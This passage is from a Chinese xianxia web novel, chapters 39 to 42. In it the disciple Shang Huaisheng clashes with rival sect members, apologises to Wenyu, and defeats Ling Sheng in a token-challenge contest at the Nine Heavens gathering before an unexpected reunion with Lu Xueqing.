李迎灯心中了然,道,“罢了,我不和你们计较,把双珠针还给我,那是李家的东西。” 商怀笙伸出胳膊,李迎灯伸手去接,却见她张开手掌,银白色齑粉簌簌飘落,在半空中被拂过的微风吹散,最后只剩一根飘带落到李迎灯手中。 “你,你做了什么?!” 李迎灯脸色骤变,出离愤怒。 第39章 第三十九章 维护同门,你做得很好…… 商怀笙拍拍手掌, 将最后一点粉末吹走,道:“它莫名其妙就碎了,你们家的东西也忒不结实了。” “你、你、你……”李迎灯的声音骤然拔高, “你竟然私自损坏李家的东西!” 他显然是生气了, 商怀笙不急不忙,“我只是握了一下,它怎么就碎了, 是贝壳做的吗?” “这是上好的聚银铁打造的!” 李迎灯脸颊涨红,想指责是商怀笙毁坏,但他分明看到商怀笙只是将东西轻握在手中,若是他天工阁打造的暗器被一个女子轻易碾碎成粉末的事情传出去,他和他师父的脸上都挂不住。 “你,你定是使了什么阴招。” “再阴也比不过李公子暗箭伤人。”沙巧拽了拽商怀笙衣袖, 她停顿片刻, 语气柔和几分, “李公子,我们并未打算摘取冰火草, 你不分青红皂白伤人在先, 若你执意纠缠,我们大可以去找太虚殿的人来辩一辩。” 李迎灯紧攥着那根飘带,眼中的怒火似要将眼前的商怀笙吞噬一般,凌盛眉头一皱, 正要开口, 余光又瞥见问玉站在春荣小筑门口, 面无表情地注视着他们的方向。 这老家伙怎么总是碍事! 凌盛不知道他在那里站了多久,有没有看到事情的全貌,但此事的确是李迎灯有错在先, 这是在太虚殿的地界,他们第一天来这儿就惹出事端,传到长辈耳中,免不了一顿责骂。 凌盛握住李迎灯因愤怒而颤抖的手,道:“李兄虽然误伤,但却是好心提醒,事出有因,你们也毁了李兄的武器,两两相抵,此事就此作罢。” “谁要跟你两两相抵?” 商怀笙发现这些名门弟子一个比一个不要脸,傅秀轩的的手指还在流血,手帕外都渗出血迹,可见那暗器锋利,他们居然想这么轻飘飘地接过去。 商怀笙自然是不肯,她扬眉,抬手抚上发髻上的剑簪,面前伸出一条胳膊挡住她。 “如二位所说,此事就此作罢。” “秀轩——!” 傅秀轩冲她摇摇头,商怀笙咬咬牙,闭上了嘴。 凌盛点点头,高高在上扫视他们一眼,带着李迎灯离开,李迎灯的背影充满怨气,走出几步还回头恶狠狠地瞪了商怀笙一眼,带着不甘和怨恨。 商怀笙亦有不甘,“他们暗箭伤人,居然连句道歉都没有!” “罢了,这是太虚殿的地方,咱们初来乍到,闹起来总归不好。”傅秀轩拆开手帕,发现食指指节被划出一道细长的伤口,微风一吹有刺痛感,“嘶——天工阁锻造的暗器名不虚传,竟然如此锋利。” 看到她布满血迹的狰狞伤口,丰宝顿时焦急起来,“赶快去找你师父包扎一下吧!” “不碍事的,我自己有带止血药。”傅秀轩咬牙自己处理伤口,不忘叮嘱几人,“此事不必告诉师父与师叔,免得他们担心。” 丰宝与沙巧都点点头,只有商怀笙沉默不语,傅秀轩又道:“怀笙,你听到没有?” “哦,听到了。”商怀笙拖着长音道。 傅秀轩语重心长地说:“这里不比在四水阁,千万不要意气用事。” 商怀笙点头,迎上她的目光,“你放心,师姐叮嘱过我,我不会惹事的。” 傅秀轩这才松了一口气,包扎好伤口,又给几人讲解起这里种植的药材,似乎将刚才发生的小插曲抛在脑后。 商怀笙想着李迎灯射过来的暗器,有些心不在焉,不免想起断龙剑身留下的盖羽飞甲的痕迹。 李迎灯所在的李家是落凤原屈指可数的名门望族,家中人才辈出,不仅叱咤商场官场,更是出过许多修仙的好苗子,如今清溪门的宗主,便是李家出身。 而李迎灯更是百年难得一遇的铸造奇才,二十出头的年纪,已经锻造出多把名剑,双月岛岛主的宸雪,凌盛的落枫都是出自他的手,凌盛他爹凌云的无穹剑,曾在一次降魔时被折断,也是仅有李迎灯修复改造。 问玉说世间能造出盖羽飞甲的人不多,商怀笙怀疑李迎灯便是其中之一。 她很想去问问他关于李迎灯的事情,但是想到那次在客栈的争吵,商怀笙有些拉不下来脸去跟他认错。 有时候承认自己的错误所需要的勇气,比她直面敌人挑衅所需的更大。 * 日落西山,月亮悬在春荣小筑半空,洒下皎洁的光辉,夜色中的建筑仿佛都蒙上了一层薄纱。 问玉踏着月色而来,周围一片寂静,他放轻脚步,来到自己住所前,见到门口的廊下坐着个熟悉的身影,倚着柱子,摇摇欲睡。 问玉不自觉地蜷起手指,心中涌起一股莫名的情绪,盈满他的心脏,涨得让人有些烦躁,却又不觉得讨厌。 他故意加重脚步,商怀笙很快察觉,起身面向他,打了个哈欠,“你回来了。” “这么晚了,你在这里做什么?” 他的语气听起来很不耐烦,问玉说完有些后悔,他本想说的柔和点。 商怀笙并没在意,揉了揉眼睛,停顿片刻,语气别扭道:“那天跟你发脾气,是我不对。” 问玉双眼微微睁大,见她睡意未消散,眼神却清醒,拳头紧握着,暴露出一丝与她平日完全不符的紧张。 难得见她主动认错,问玉抱起胳膊,整个人都舒展开来,“哪里不对了?” 商怀笙顿了顿,拳头越攥越紧,“我不该拿你发泄怨气。” 问玉挑眉,“还有呢?” 商怀笙拳头握的嘎嘣响,已经在装不下去的边缘,咬牙切齿道:“不该损坏客栈房屋。” “还有?” “你差不多得了!” 商怀笙终于憋不住了,挥了挥拳头,又恢复了平时率性的模样,“我是来道歉的,不是来让你挑刺的。” 问玉也轻笑出声,心中那股烦躁消失,取而代之的是一阵轻松,“大半夜的来找我,所为何事?” 商怀笙看了看他的房门,“进去聊?待会儿若是有人出来瞧见了要说不清了。” 问玉犹豫一瞬,心中有了顾虑,大半夜的,孤男寡女独处一室…… 望着商怀笙不掺杂一丝其他感情的清澈眼眸,问玉抿了抿唇,“跟我来。” 两人来到一处无人的石亭,位置就在商怀笙白日来过的花园后,琉璃瓦在月光下泛着清辉,四周生长着一大片流萤般的花朵,形似昙花,花瓣洁白如雪,花蕊处蕴着一团柔和灵光,明灭闪烁,映得石阶如波光粼粼。 “这是什么花,还会发光,白日竟然没注意到。”商怀笙好奇地低头凑过去,见其花茎剔透如冰晶,内里光华流转,圣洁美丽。 “流萤幽昙,白日里并不起眼,花苞隐在叶片中,晚上才会绽开。”问玉看着她在花丛中跳来跳去,神色不由柔和几分,敲敲石柱,“你找我做什么,快说。” 商怀笙这才想起来正事,转身到他面前坐下,“我今日遇到了天工阁的李迎灯。” 问玉嗯了一声,“我知道。” “你知道?!”商怀笙微讶,“是不是他去告状了?” 她心里头又冒出怒火,“这人真是不要脸,竟敢恶人先告状!” 问玉哭笑不得,“冷静点,是我看到了。” “嗯?”商怀笙又是一顿,“你在哪里,看到了多少?” “从你们争论时。咳,这些并不重要,先说正事。” 商怀笙哦了一声,语气认真起来,“我听说他是锻造奇才,盖羽飞甲有没有可能出自他的手?” 问玉瞥她一眼,便知道她没安好心,在她额头上敲了一下,“不管是不是他,你也不能绑了他来盘问。” “我、我没打算这么做!”小心思被猜出来,商怀笙略显慌张,“你别血口喷人。” “我还不了解你?你眼珠子一转我就知道……知道你在想什么。” 商怀笙没发觉问玉中间的停顿,不服地说,“你才不了解我,这种事我只是想一想,现在当然会以大局为重。” “所以你打算等到九天盛会结束后再绑人?” “……” “商怀笙,这可不是在四水阁,你敢做这种事,可没有人给你兜底。” “都说了没有!” 商怀笙恼羞成怒,愤愤瞪着问玉,问玉神色从容,“盖羽飞甲的事情不急,有的是机会调查,你现在的当务之急是在宗门论道中好好表现,不能给我,给你师父丢脸。你今日毁了李迎灯的暗器,定会招他怨恨,他与凌盛关系不错,很有可能会联合起来对付你。” “我今日是有些冲动了,看到傅秀轩受伤,他还那副态度,我很生气。” 回去后商怀笙也想过,那暗器看着便价值不菲,李迎灯当时选择不追究,事后在论道中一定会针对他们,商怀笙无所谓,可丰宝沙巧他们却是无辜。 是她鲁莽了。 商怀笙心中涌起这样的情绪,她在四水阁能保护大家,可真到了这种大场面,面对无数门派,她有些害怕自己的冲动会给大家带来危险。 “维护同门,你做得很好。” 问玉说完,商怀笙猛地抬头,眼里写着不敢置信,原本迷茫的心绪似乎得到了指引。 “恃强凌弱的事情并不少见,李迎灯敢对傅秀轩出手,也是仗着自己是名门望族出身,你们若一味隐忍,他们只会把你们当成是好欺负的对象。” “但既是修士,便用实力来说话,再显赫的出身也不是他们欺凌弱小的理由。”问玉笑了笑,眼神中带着鼓励,“今日只是就这么揭过去,你心里也不爽吧?” 商怀笙轻轻点头,问玉伸出手,在即将落在她头顶时停下,悬停片刻,最终还是抚上商怀笙的发间,“那就在弟子论道的时候,好好讨回来。” 第40章 第四十章 怀笙有分寸 各门派的人陆续到齐, 九天盛会正式开始。 和人界那些宴会似乎也没什么区别,只是镇化山云雾缭绕,商怀笙只听见一个苍老威严的声音在说什么“匡扶正道”“振兴修仙界”之类的话, 像在做死板的汇报一样, 四面八方响起应和的声音。 她眯起眼睛,迎着光看向高处,数千道台阶铺就仙途, 仙鹤盘桓,金光璀璨,高台之上所坐的,都是当下修仙界最具话语权的人物。 诸神陨落,从前的仙界不复存在,数百年无人飞升, 台上诸位, 便是这个世界上最接近于神的人, 受世人景仰爱戴。 商怀笙低头喝了杯酒,太虚殿禁酒, 这些用来待客的酒也没什么味道, 和高台上传来的各种冠冕堂皇的话语一样,令人索然无味。 那老头洋洋洒洒地说了一大堆,终于提起今天的正式,关系门派论道的规则。 他刚开口, 商怀笙桌上便出现一枚方形青玉牌, 正面雕刻着太虚殿的层云剑文图腾, 边缘以朱砂勾勒符文,背部镶嵌着一颗小小的蓝色灵珠。 “今年的弟子论道,悟道期以下皆可参加, 以玉牌作为信物,玉牌背面的灵珠灵界珠,弟子之间可以发起挑战,捏碎灵界珠,自动生成结界,直到决出胜负,败者的玉牌归胜者所有。” “三日后,玉牌数量多于十二枚的弟子,可以参与最后的决赛。” “本次自由竞技,同品阶间可以互相发起挑战,低品阶也可挑战高品阶,但为防止欺凌弱小,破坏公平的事情发生,高品阶不可主动向低品阶发起挑战,点到为止,不可危及生命,违规者取消资格。” 话音未落,台下一片哗然,讨论声四起。 元妄拿起自己玉牌,注入灵力,玉牌底部浮现出一行小字:“四水阁元妄”。 “今年的规则倒是新颖,从前都是擂台的形式。”元妄掂了掂玉牌的重量,看向商怀笙,“怀笙,想不想跟我打一场?” 商怀笙正在消化他所说的规则,头也没抬地说,“不打。” 她第一次参加,对有关的一切都很陌生,“这样弄的话,即使初赛是在同品阶之间角逐,最后识灵期产生的胜者不还是会在决赛中对上合灵期?” 元妄摇头,“识灵期的胜者,不会只甘于挑战同品阶修士的。” 商怀笙似懂不懂,干脆不想了,握着玉牌,唇角扬起期待的笑容,“师兄,你说我先跟谁打一架好呢?” 她的目光瞥向隔壁坐席里的金田,对方也正虎视眈眈地盯着她,语出嘲讽,“好可惜啊,你只是个识灵期,不然我肯定第一个挑战你。” “是吗?”商怀笙微微一笑,抚摸着玉牌背后的结界珠,“但我可以挑战你啊。” 金田脸色微变,“大庭广众之下,太轩道长未宣布开始,你不能乱来。” 商怀笙佯装失望的哦了一声,冲他扬眉,“那待会儿别跑。” 金田冷哼,“我还能怕了你不成!” 规则一经公布,各宗门弟子便已经跃跃欲试了,修士间有私仇的,宗门间存在恩怨的,都可以借此机会好好算上一算。 太虚殿的人刚刚宣布开始,高台上那几人还没离开,台下便已经有结界珠爆开,蓝色的结界凭空出现,将参与者与其他人阻隔开,激战半个时辰,产生了第一场比赛的胜者。 爆发在众人视野下的第一场比拼,迅速点燃了众人的斗志,陆续有比赛开始,但大都为识灵期与结器期之间,合灵期的修士大都在观望中。 商怀笙跟着元妄看了一会儿,才想起来去找金田,却发现这小子早就跑没影了,不由得骂了一声胆小鬼。 战火蔓延在几个平日便好战的门派中,程公乐将四水阁弟子带回荣春小筑,嘱咐他们要小心行事,不能随便挑起战斗。 这次的规则他们也是第一次遇到,相比于斗志昂扬的小辈们,程公乐几人脸上更多的是担忧。 吕悠道:“从前擂台赛,大家可以自行选择是否参与,但这次玉牌战,相比于剑修来说,医修,符修处于不利地位,恐怕有人会为了得到玉牌强制挑战。” 程公乐道:“九天盛会本是以同道之间相互交流为主,不知道这次为何会改成这样。” 元妄心态挺好,“多大点事儿,师姐这三天便留在荣春小筑,那群人还敢上门来挑事不成?” 程公乐剜他一眼,“你才是该老老实实留在这里,别四处放浪没个正形,这么多人里面最危险的是你,你别忘了你在外面造过多少情债。” 元妄努努嘴,不说话了,抱着胳膊站到商怀笙身边。 程公乐抬眸,余光扫过商怀笙,似乎有话想说,张了张嘴却只发出一声叹息,又过了片刻,才开口道,“怀笙,你也是,你现在只是识灵期,只要你不主动挑战,应该不会有人来针对你的,你也老实待着……” 说着,他又是叹了一声,想到商怀笙绝对不可能听话待着,便又补充一句,“这是第一次有这样的规则,你至少也要等待第二天再开始去拿玉牌,第一天先观察形势,知道吗?” 他难得用这样温柔的商量语气跟商怀笙说话,商怀笙自然得给自己的二师兄一个面子,点头道,“我会听话的,师兄。” “那就好。”程公乐点点头,眉头仍是不自觉地微蹙着,眼里写满担忧。 商怀笙一下午都没出去,跟傅秀轩他们坐在春荣小筑的屋顶上,看着不远处爆起一个又一个的结界,不住地感慨。 傅秀轩同为医修,上一届便没有参与竞技,只是和天泉医谷的人一起负责给战斗中受伤的修士医治,收到玉牌的时候,她内心忐忑,担心会有人直接来挑战自己。 “我听说今早的交谈会一结束,天泉医谷的人便被包围了。”丰宝性格外向,人脉广,消息也灵通。 沙巧脸上露出嫌恶的神色,“哪里的人,敢在太虚殿做出这种事情,也不嫌丢人?” 丰宝说:“不清楚,但听闻有双月岛的人,潮海阁的桑月圣女去了之后他们便离开了。” 天泉医谷的医修们大都不善于实战,虽然这次被阻止,但他们依然成为斗场上一块无数人垂涎的肉,暗处无数双眼睛在窥伺。 “都是修道之人,连道义礼法也不顾了吗?”商怀笙托着脸颊,望着远处霞光之下的有一场战斗。 丰宝压低声音,神秘兮兮地说,“我听闻这次胜者的奖励格外难得,神器品阶,是太虚殿的人从长眠海回来的。” 他说完,三人一齐看向商怀笙,她还沉浸在不远处的战斗中,目光专注,眼眸中映着霞光。 商怀笙手里的断龙是神器,他们都知道,虽然一开始或许有过羡慕,嫉妒,可十几年的时间,他们早已习惯。 神器难得,更加难驯,许多神器都曾有过主人,即便它们主人在大战中陨落,它们也不会轻易再次择主。 商怀笙有驾驭神器的实力,他们心服口服,其他人可不一定会这么想。 器主身死后,灵器便可再次择主。 临行前秦湫叮嘱过商怀笙,轻易不要显露断龙的存在,于是断龙便一直化成剑簪插在商怀笙头顶,旁人无法察觉到它的灵气。 对面的战斗很快结束,商怀笙收回视线,发现几人在看着她,“哦,我听见了,神器,挺好的。” 几人知道她会这么说,一副见怪不怪的神色,“但你还是要小心啊。” 商怀笙点点头,起身准备跳下去,“对了,你们说的天泉医谷的人住在哪里,我去瞧瞧。” * 日升天阁,殿外云海翻涌,殿内檀香袅袅,太轩为首的六人围坐在千年青寒玉雕琢而成的圆桌旁,问玉手中握着玉牌,在桌面叩出轻响,原本就紧张的氛围变得更加剑拔弩张。 “弟子论道的规矩已经用了几百年,怎么今年突然改了新规?” 天工阁阁主李华常率性开口,这次新规,除了对医修不利,对他们天工阁的人也是一大桎梏。 “纵使这次获胜者的嘉奖为神器,这样不跟我们商议便更改新规,也有些太随意了。” 潮海阁阁主菱烛看向问玉,见他专心致志盯着玉牌,似乎没有参加他们谈话的欲望,凤眼微挑,继续道,“像问玉这样原本应该不必参加的,这样一来,不是又要和那些小辈比拼?” 问玉面色不变,淡淡地瞥她一眼,菱烛倒先露出怯意,挺直肩膀。 “我们会改变规则,自然有我们的考量。”太轩身侧,一全身被黑袍笼罩的人开口,声音沙哑难听,分不出男女,“此举是为了选拔人才,想必诸位也都听说了,长眠海那边警钟不断。” 他一开口,桌上另外几人脸色骤变,气氛凝滞,曾经令人威风丧胆的恐怖记忆笼罩在几人头顶,问玉也将玉牌收进袖中。 凌云和问玉在这几人中资历较浅,他们未曾经历过当年的事情,见大家都不说话,他开口问出自己疑惑,“难道是长眠海出了什么事?” 黑袍人摇摇头,“正是因为去巡查的人并未发现任何异常,镇海神兽却不断警报,此事才让人觉得蹊跷。所以我们更加需要选出一人能驾驭神器,深入长眠海,查清真想。” 凌云喉结上下滚了滚,判断了一下事情的严重性,又将目光投向身旁的问玉,却没得到回应。 众人都没有说话,也没再有人提出反对意见,太轩一锤定音,“规则一事就到此结束,这三日会有天机阁与太虚殿的人共同监管,避免出现冲突过当。” 走出日升天阁,凌云快步追上问玉,“陈兄!陈兄!” 问玉没有减缓步调,径直走向云海下隐藏的台阶,凌云小跑两步,搭上他的肩膀,“陈兄,你这次好安静,竟一句话也不说。” 问玉斜他一眼,“你一大把年纪,叫我陈兄不合适吧?” 凌云脸色一变,露出受伤的神色,他和问玉差不多的年纪,但是天赋不如对方,问玉定颜的时候他还在修炼,问玉去闭关了他还在修炼,到了三十多岁才到了容颜永驻,外表看上去是比问玉要年长一些。 他擦了擦眼角不存在的泪,“陈兄,多年未见,你的嘴还是刻薄的令人心塞。” 问玉推开他,“你都有儿子了?” “对啊。”提起凌盛,凌云脸上露出喜色,“我听盛儿说了,你俩在日曜城见过,我和琉姐的儿子,长得帅吧?” 问玉点点头,“模样像你。” 凌云拍拍他,哈哈笑了几声,“你这一闭关就是百年,都没能参加我和琉姐的婚礼,等这次九天盛会结束,你来凌枫院,我一定好好招待你!” 问玉嗯了一声,唇角浮现一抹浅笑,“百年时间转瞬即逝,我上次见你还是在云月都,你喝醉了抱着婴琉哭着说要娶她,没想到这么快成了凌枫院的宗主,孩子都那么大了。” “嘿嘿,那都多少年前的事情了。”凌云讪笑一下,正色道,“这话可不能在孩子面前说。” “自然。” 两人边聊边走出日升天阁,凌云这次并不是随着凌枫院的人一起来参会,只是来太虚殿拜访自己岳父,顺带看一看凌盛的表现。 凌盛是上一届的魁首,十年来又精进许多,只要问玉不参与,凌云觉得他定然还会是第一。 “你都不知道,凌盛这孩子多有天赋,三岁持,十二岁便已经是识灵期稳气阶段,第一次参加九天盛会时才十六岁,已经颇有你当年的影子了,我日日教导他,一定要像你问玉叔叔学习,将来必成大器!” 凌云侃侃而谈,顺道与问玉一起去见凌盛,经过天泉医谷荔香院门前,却见一道蓝色的结界阻隔去路,定睛一看,飘扬的橙色发带尤其亮眼。 他心中一紧,赶忙将来一旁的凌康辰询问,“凌盛这是和谁在打斗?” 凌康辰看看问玉,声音有几分颤抖,“四水阁弟子,商怀笙。” 凌云顿了顿,转头对问玉道:“陈兄,真是抱歉了,一上来就对上你们,不对,是你师兄的弟子,实在是惭愧,你放心,盛儿他有分寸,绝对不会伤人的。” 问玉挑眉,还未开口,结界中便传来一声惨叫,几人仰头,却见凌盛从结界中心飞出,重重地砸在边缘,武器也被甩到一边。 “盛儿!”凌云担心地喊了一声。 问玉按住他的肩膀,道:“你放心,怀笙有分寸,绝对不会伤及性命的。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 40-50 第41章 第四十一章 有缘千里来相会 自规则发布, 天泉医谷的人便全部回到了荔香院,这一路上满是觊觎与垂涎的目光。 这规则把他们变成了案板上的鱼肉,虽说他们不同意对方也没办法强制开始挑战, 但人心难测, 在巨大的诱惑面前,唯恐有人铤而走险,做出威逼恐吓的事情来。 天泉医谷此番领队的主事为谷主内门大弟子南宫汀, 她提议医谷弟子近几日闭门不出,谢绝来客,直到初赛结束,如果有人想要参加决赛,也可以主动出去挑战。 她下令荔香院闭门谢客,可架不住有人频频上门挑衅, 凌康辰便是其中之一。 凌康辰为凌家旁系, 修为不高, 修炼多年才面前突破结器期,因是凌盛自小陪读才得了来参加九天盛会的资格。 凌盛放话, 此番凌枫院弟子不可消极怠战, 必须得拿到六枚以上的玉牌,否则便没有脸面再回到凌枫院。 凌康辰不敢去挑战那些剑修音修,听说医修好欺负,就特地找到荔香院来, 一番撒泼, 成功激怒了南宫汀, 不仅被夺走了玉牌,还被下了会不定时全身麻痹的毒药。 于是他一步一拐,三步一倒, 抽搐着像个疯子一样跑回去,求凌盛帮帮自己。 凌盛对他无语至极,但凌康辰说这药没有解药三天就会死,念在他也算是自己血缘兄弟的份儿上,凌盛答应带他来讨解药。 结果撞上了来问诊的商怀笙,在南宫汀鄙夷的质问中,对方以为他们也是来欺凌弱小的,与凌盛吵了几句,凌盛吵不过,气得捏碎了结界珠,要与她决一死战。 凌康辰颤颤巍巍地说完来龙去脉,里面的凌盛已经又一次被打倒,商怀笙甚至连武器都没拿,赤手空拳便接下了他锋利的剑刃。 她没下死手,凌盛也不肯认输,两人便这样僵持着。 凌云看得直咬牙,苦着脸跟问玉求饶,“你劝一劝你师兄的徒弟吧,你看盛儿都被打成什么样了。” 除了心疼外,他还有觉得丢脸,刚才还跟问玉说凌盛是上一届的第一,没想到这么快就被打了脸。 问玉道:“我可劝不住她,她生起气来可是连我都打。” 凌云倒吸一口冷气,脸色骤变,“那可怎么办啊!你师兄什么时候收的这个叫商怀笙的弟子,怎么以前都没有听说过?” 凌康辰低眉垂首,犹豫片刻,才道:“宗主,您听说过的,少主说的那个身怀神器的,便是这位姑娘。” “神器?常春阁的神奇,那不就只有……”凌云眉峰倏地一挑,瞳孔震颤,后退半步,神色有几分失控,“断龙?” 他的目光向问玉投去,在对面默认的表情中,瞬间对太虚殿更改规则的原因有了新的猜想。 结界内,商怀笙看着又一次撑着剑站起来的凌盛,语气中多了几分赞许,“你还有点本事,挨了我三脚居然还能站起来。” “你、你为什么不拿灵器,是瞧不起我吗?!” 凌盛在日曜城见识过商怀笙的本事,对于自己会输给她,他其实并没有太大的意外,可他还是觉得不甘心。 一个寂寂无名的修士,粗鲁无礼,与妖怪为伍,还能得神器眷顾,她凭什么?! 商怀笙靠近他,摸了摸头上的发簪,道:“我不出剑,是因为觉得对付你不需要出剑。” 她伸出手,凌盛身形猛地一颤,以为她要出拳,但商怀笙只是摊开手掌,“玉牌。” “不!给!”凌盛咬咬牙,颤颤巍巍地举起剑,左手放在胸前,单手结印,“寒!枫!斩!” 刹那间,狂风平地起,卷起飞沙走石,四周温度骤降,落枫出击,剑气在空中划出枫叶般血红轨迹,带着肃杀之气向商怀笙袭来,剑刃划过空气,发出尖锐呼啸。 结界外的人自然也看到这抹痕迹,凌云整颗心都提到了嗓子眼,“这小子!寒枫斩他才练到第三层,怎么能这么贸然使出来!” 凌云能看得出来,凌盛这是真的被逼急了,才会用出自己还没完全掌握的杀招,他揪心不已,既心疼自己受伤的儿子,也安安期待着能一招制敌,赶快结束战斗。 落枫剑气撕裂商怀笙眼前的空间,她下意识地摸上断龙,瞥一眼风眼中已经摇摇欲坠的凌盛,她眼珠一转,有了主意,轻点脚尖,鬼魅般绕至凌盛身后。 凌盛眼睁睁看着落枫剑气劈向商怀笙,眨眼的功夫却不见了踪影,他正疑惑时,耳畔忽然传来一声轻笑,“凌盛,你对我妹妹下手的时候,我真的很想杀你了。” 凌盛的心如坠冰窖,从内心深处对商怀笙产生了恐惧,最可怕的是当他抬起头,落枫正调转方向,朝着他身后的商怀笙袭来,那些迅捷的速度,必然也会伤到他。 他挨了商怀笙几脚,已经完全无法行动,只能被迫替商怀笙挡下自己的杀招,凌盛绝望地闭上眼睛,等待落枫的降临,只听“咻——”的一生,身后传来晶体破裂的清脆声响。 预料中的疼痛并没有降临,凌盛睁开眼,却见结界已破,落枫冲向结界外,被问玉收服,而他则被商怀笙抓着衣领,拎到了别处。 “但我这次打算放你一马,因为我觉得,对你来说,失败或许比死亡更难接受,尤其败给我这种人。” 商怀笙松开他,凌盛犹如一片没有支撑的落叶缓缓往地上坠去,在失去意识的前一刻,他落入一个熟悉的怀抱。 “盛儿!”凌云担忧不已,去探凌盛的鼻息,确定他没死后才松了一口气。 他抬头,看向这个陌生的小女孩,那张人畜无害的脸上带着一丝微笑,“你好。” 凌云愣住,面对这个打伤自己的儿子的人,内心无比复杂,愤怒与惊讶交织,又碍于这次比赛的规则不敢发作,商怀笙却伸出右手,“您好,玉牌。” “……” 凌云无奈,将凌盛怀中的玉牌抽出来,递给了她。 “厉害啊,一个晚上居然已经收了七块。”商怀笙毫不客气地把玉牌揣进自己袖中,见问玉过来,冲他扬起一个笑容,“师叔也来了。” 问玉板着脸,“少贫嘴,你没下狠手吧?” “自然没有。”商怀笙说着,看向一旁观战的南宫汀,“这位姑娘是医修,要不让她看看?” 南宫汀抿抿嘴,顿觉她们真是倒霉到家了,本来只是进行医术交流的,赶上赛制改革,成了众人眼里的香饽饽,连凌枫院这种大宗门都要欺负他们,少主亲自来找茬,现在又遇到了凌枫院宗主和三山宗的问玉。 学医真是没有出路。 南宫汀暗骂几句,上前给凌盛把脉,“没事,只是些外伤,修养下便好了。” 她松开手,表情略有些惊讶,没想到商怀笙的出招看着招招致命,但都是控制了力度的,凌盛是上一届的冠军,商怀笙面对他却能游刃有余——此人不容小觑。 南宫汀顿了顿,对商怀笙抱拳道:“虽是一场误会,但还是多谢姑娘出手相助,敢问姑娘尊姓大名?” “在下四水阁商怀笙。” “商怀笙?” 南宫汀眉头微挑,“久仰大名。” 商怀笙指了指自己,“我吗?” “嗯。”南宫汀正要开口,却见商怀笙抬起的胳膊上全是血迹,大惊失色,“怀笙姑娘,你受伤了?” “我吗?” 商怀笙一低头,果然看到衣袖下方布满血迹,迟来的感受到刀划的疼痛,难怪刚才便觉得胳膊火辣辣的,看来是刚才带着凌盛躲开的时候被划伤的。 “嘶——好疼!”商怀笙这才龇牙咧嘴地垂下胳膊。 南宫汀身后想扶住她,被问玉抢了先,她愣了下,小心翼翼地撕开商怀笙衣袖,看到她小臂上一道一拃长的伤口,呼呼地往外冒着血。 南宫汀急道:“先把她扶进荔香院止血吧。” “问玉……” 凌云抱起凌盛,看到问玉头也不回地扶着商怀笙进门,步履匆匆,脸上是难以掩饰的担忧之色,不由得心头一颤。 他顾不得细究,抬脚在凌康辰屁股上踹了一下,“还不去道歉!之后来找我,我有话问你!” 凌康辰唯唯诺诺地点头,“是,宗主。” 商怀笙一路上喊着疼,被扶到内厅,天泉医谷的人都在门外围观,像看珍奇动物一样盯着她,主要是她身旁的问玉。 “是三山宗的问玉。” “他出关了?” “这次境外试炼,不会就是为了他准备的吧?” “问玉都赢过了,还需要参加?” “诶,这小姑娘是谁啊,刚才是不是她在外面和凌盛打架?赢了吗?” “不知道啊,问问师姐吧。” 商怀笙专心听着他们的小声谈论,很快锁定了眼前漂亮温柔女子的身份,天泉医谷谷主的大弟子,南宫汀。 既然是弟子亲传,想必医术极佳,她借此机会和她搞好关系,回头求她去给陆雪青看病。 想到陆雪青,商怀笙心沉了沉,她已经给秦湫寄了书信,请她帮忙先找一位医修去照料陆雪青,也不知道那人去了没有,陆雪青情况如何了。 她有些担心陆雪青撑不到她带南宫汀过去。 商怀笙眸中多了几分忧愁,看着面前的南宫汀,忽然听到一个熟悉的声音,带着惊喜,“怀笙?” 她愣住,盯着南宫汀的嘴巴,以为是她发出的声响。 “怀笙!” 这次声音是在人群外响起,商怀笙扭头,终于发现了声音的来源,竟然是陆雪青。 他穿着天泉医谷的门服,束着初级弟子的发呆,满脸的惊喜,拨开人群朝她走来。 商怀笙没敢动,她用另一只没受伤的手,敲了敲问玉的手腕,问他,“我是不是失血过多出现幻觉了?” 问玉本来搭在她肩膀上的手拿开,收进袖中,目光扫一眼陆雪青,又落了下去,“没有,是陆雪青。” “包扎好了,这几日伤口不要碰水。”南宫汀见他过来,起身让位给他,“雪青来了,我还在想这位商姑娘是不是你那位朋友,看来是了。” 她看着商怀笙和陆雪青,露出笑容,“有缘千里来相会。真是巧。” 陆雪青低头检查商怀笙的伤口,语气温柔,“怎么一见你,你就要受伤?” 商怀笙还没反应过来,目光直勾勾地盯着他的脸庞,问道:“你是借尸还魂了吗?” 第42章 第四十二章 不得了了 “我吗?”陆雪青笑笑, “这件事说来话长,有机会再告诉你。” 说罢,他起身, 对着问玉一躬身, “问玉道长,许久不见。” “别来无恙。”问玉移开目光,道, “我还有事,我先回去了。” 商怀笙抓住他衣袖,“等等我,我也回去。” 问玉瞥她一眼,“你和陆公子相逢,难道没有话要说?” “有空再说, 我得跟你一起回去, 万一你去找程师兄告状, 我不完蛋了?”她紧紧抓着问玉胳膊,借力站起来, 回头对陆雪青道, “有空你来找我吧,我荣春小筑,还有多谢你帮忙包扎,南宫姑娘。” “不客气。” 南宫汀目送他们离开, 直至他们背影消失, 才转头看向一旁失望的陆雪青, “你见到她了,心满意足了?” 陆雪青点点头,又轻轻摇头, “幸亏我来了。” 不然也不会这么快又和商怀笙见面。 南宫汀轻嗤一声,“你这样满心情爱,如何修行?你既然已经拜入天泉医谷,就要守天泉医谷的规矩……不要像你母亲一样,为了一个男人,连自己的命都搭了进去。” 陆雪青眸底闪过一丝寒光,轻声应道:“是,多谢师姐。” “你母亲叫我师姐,如今你也叫我师姐,这感觉真是……呵。”南宫汀扔给他两瓶伤药,“她这伤要定期换药,你便以此为借口,去见她吧。” “多谢师姐。” * 回去路上,商怀笙还是难以置信,“我见到的真的不是陆雪青的鬼魂吗?他怎么会在天泉医谷?” 问玉反应冷淡,“你们不是说了要再见面,你自己去问他便是了。” 商怀笙问:“你是不是早就知道?” 问玉:“你自己去问。” 商怀笙歪头去看他的神色,“你又生什么气?因为我和凌盛打架,这是因为我以为他要仗势欺人,去欺负天泉医谷的医修才跟他吵起来的的,而且是他先对我发起的挑战。” 问玉:“哦。” 见他反应冷淡,商怀笙不由得担心,“你不会跟程师兄告状吧?” 问玉瞥她一眼,“你师兄每次见到我恨不得绕出二里地。” 商怀笙轻笑一声,“我一直想知道,你们俩到底有什么恩怨?” “当时年少轻狂而已。” 问玉怎么也不肯说出当年的事情,商怀笙追问无果,又好奇起来凌云的身份。 “你和凌盛他爹看起来很熟?” “老友。” 商怀笙哦了一声,忽然想起他说过要借凌枫院的聚魂灯来找寻记忆,心下顿时一慌,“既是旧友,那你为何不趁机向他借聚魂灯一用?” 